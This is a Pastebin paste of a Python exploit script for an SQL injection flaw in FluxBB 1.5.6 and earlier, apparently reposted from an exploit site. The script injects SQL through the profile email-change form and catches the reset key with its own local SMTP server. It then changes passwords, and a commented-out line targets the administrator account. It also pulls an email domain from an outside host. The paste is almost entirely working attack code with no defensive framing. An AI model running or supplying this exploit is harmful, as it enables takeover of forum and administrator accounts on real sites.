Advertisement
Guest User

Untitled

a guest
Jul 6th, 2016
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.70 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Friday, November 21, 2014 - secthrowaway@safe-mail.net
  3. # FluxBB <= 1.5.6 SQL Injection
  4. # make sure that your IP is reachable
  5.  
  6. url = 'http://1.ru/forum/'
  7. user = '1' # dummy account
  8. pwd = '1'
  9.  
  10. import urllib, sys, smtpd, asyncore, re, sha
  11. from email import message_from_string
  12. from urllib2 import Request, urlopen
  13.  
  14. ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
  15. bindip = '0.0.0.0'
  16.  
  17. def stage1(sql):
  18. if (len(sql) > 80):
  19. sys.exit('SQL too long, max 80 chars')
  20. print "1st stage: %s (%d chars)" % (sql, len(sql))
  21. r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid),
  22. data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd),
  23. headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie":cookie})).read()
  24. if 'An email has been sent to the specified address' not in r:
  25. sys.exit('err')
  26.  
  27. def stage3(key):
  28. print "3rd stage, using key: %s" % key
  29. r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key),
  30. headers={"User-agent": ua})).read()
  31. if 'Your password has been updated' in r:
  32. print 'success'
  33. else:
  34. print 'err'
  35.  
  36. class stage2_smtp(smtpd.SMTPServer):
  37. def process_message(self, peer, mailfrom, rcpttos, data):
  38. print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
  39. key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
  40. if key is not None:
  41. raise asyncore.ExitNow(key.group(2))
  42. return
  43.  
  44. def login():
  45. print "logging in"
  46. r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
  47. try:
  48. t = r.info()['set-cookie'].split(';')[0]
  49. return (t.split('=')[1].split('%7C')[0], t)
  50. except:
  51. sys.exit('unable to login, check user/pass')
  52. uid, cookie = login()
  53. email_domain = urlopen(Request('http://tns.re/gen')).read()
  54. print "using domain: %s" % email_domain
  55.  
  56. #this will change your password to your password :)
  57. stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))
  58.  
  59. #this will change admin's (uid=2) password "123456"
  60. #stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))
  61. try:
  62. print "2nd stage: waiting for mail"
  63. server = stage2_smtp((bindip, 25), None)
  64. asyncore.loop()
  65. except asyncore.ExitNow, key:
  66. stage3(key)
  67.  
  68. # 0day.today [2016-07-06] #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement